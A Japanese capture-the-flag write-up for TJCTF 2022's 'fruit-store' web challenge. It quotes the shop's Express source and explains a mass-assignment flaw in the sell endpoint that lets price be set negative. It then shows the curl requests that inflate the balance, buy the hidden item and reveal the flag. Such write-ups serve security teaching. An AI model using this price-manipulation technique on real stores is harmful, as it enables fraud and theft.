Rating:

# fruit-store:web:287pts
:lemonthink:
[Instancer](https://instancer.tjctf.org/fruit-store)

Downloads
[server.zip](server.zip)

# Solution
ソースとインスタンス生成リンクが渡される。
生成しアクセスするとフルーツを購入できるサイトのようだ。
Fruit Shop
[site.png](site/site.png)
購入以外できないと思われ、超高額なgrassを買えばよさそうだ。
次にソースを見る。
```js
~~~
fruits['grass'] = {
name: 'grass',
price: 2.5e+25,
description: fs.readFileSync('flag.txt', 'utf8').trim(),
quantity: 1
};
~~~
app.post('/api/v1/sell', (req, res) => {
for (const [key, value] of Object.entries(req.body)) {
if (key === 'grass' && !req.session.admin) {
continue;
}

if (!fruits[key]) {
fruits[key] = JSON.parse(JSON.stringify(fruit));
}

for (const [k, v] of Object.entries(value)) {
if (k === 'quantity') {
fruits[key][k] += v;
} else {
fruits[key][k] = v;
}
}
}

res.send('Sell successful');
});

app.post('/api/v1/buy', (req, res) => {
const { fruit, quantity } = req.body;

if (typeof fruit === 'undefined' || typeof quantity !== 'number' || quantity <= 0 || !fruits[fruit]) {
return res.status(400).send('Invalid request');
}

if (fruits[fruit].quantity >= quantity) {
if (req.session.money >= fruits[fruit].price * quantity) {
fruits[fruit].quantity -= quantity;
req.session.money -= fruits[fruit].price * quantity;
res.json(fruits[fruit]);
} else {
res.status(402).send('Not enough money');
}
} else {
res.status(451).send('Not enough fruit');
}
});
~~~
```
`/api/v1/sell`で売ることができるようだ。
ただし、grassはブロックされている。
adminのみお金を増やせるなどの処理があるが、あまり関係はない。
所持数を確認していないため、無限にフルーツを売りつけることができるが、お金が増えることはない。
ここでソースの以下の部分に注目する。
```js
~~~
for (const [k, v] of Object.entries(value)) {
if (k === 'quantity') {
fruits[key][k] += v;
} else {
fruits[key][k] = v;
}
}
~~~
```
商品の個数を追加しているが、`quantity`以外のキーを指定するとvに書き換えることができる。
これで商品のnameやpriceなどが任意の値に変更できるようになった。
さらに購入処理の以下の部分に注目する。
```js
~~~
if (req.session.money >= fruits[fruit].price * quantity) {
fruits[fruit].quantity -= quantity;
req.session.money -= fruits[fruit].price * quantity;
~~~
```
自身の所持金からフルーツ代金*購入量を引いている。
つまりフルーツ代金をマイナスにするとお金が増えることがわかる。
よって以下の通り、sellするタイミングでpriceをマイナスにし、それを購入することで所持金を増やしgrassを買えばよい。
今回は在庫があるbananaの代金をマイナスにした。
```bash
$ curl -X POST 'https://fruit-store-16ac1ecab524d650.tjc.tf/api/v1/sell' -H 'Content-Type: application/json' -H 'Cookie: connect.sid=s%3AQ-jvlbKwnUCNiMsiK09bLo7BcCqHuhey.rTsHWm1SpJX39O9itN%2Fjd6vZvJ0FsRHWdn86gKJrfzk' -d '{"banana": {"price":-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000}}'
Sell successful
$ curl -X POST 'https://fruit-store-16ac1ecab524d650.tjc.tf/api/v1/buy' -H 'Content-Type: application/json' -H 'Cookie: connect.sid=s%3AQ-jvlbKwnUCNiMsiK09bLo7BcCqHuhey.rTsHWm1SpJX39O9itN%2Fjd6vZvJ0FsRHWdn86gKJrfzk' -d '{"fruit":"banana","quantity":1}'
{"name":"banana","price":-1e+100,"description":"banannananananannana","quantity":4}
$ curl -X POST 'https://fruit-store-16ac1ecab524d650.tjc.tf/api/v1/buy' -H 'Content-Type: application/json' -H 'Cookie: connect.sid=s%3AQ-jvlbKwnUCNiMsiK09bLo7BcCqHuhey.rTsHWm1SpJX39O9itN%2Fjd6vZvJ0FsRHWdn86gKJrfzk' -d '{"fruit":"grass","quantity":1}'
{"name":"grass","price":2.5e+25,"description":"tjctf{h4v3_y0u_ev3r_tri3d_gr4s5_j3l1y_d4ebd9}","quantity":0}
```
flagが得られた。

## tjctf{h4v3_y0u_ev3r_tri3d_gr4s5_j3l1y_d4ebd9}

Original writeup (https://github.com/satoki/ctf_writeups/tree/master/TJCTF_2022/fruit-store).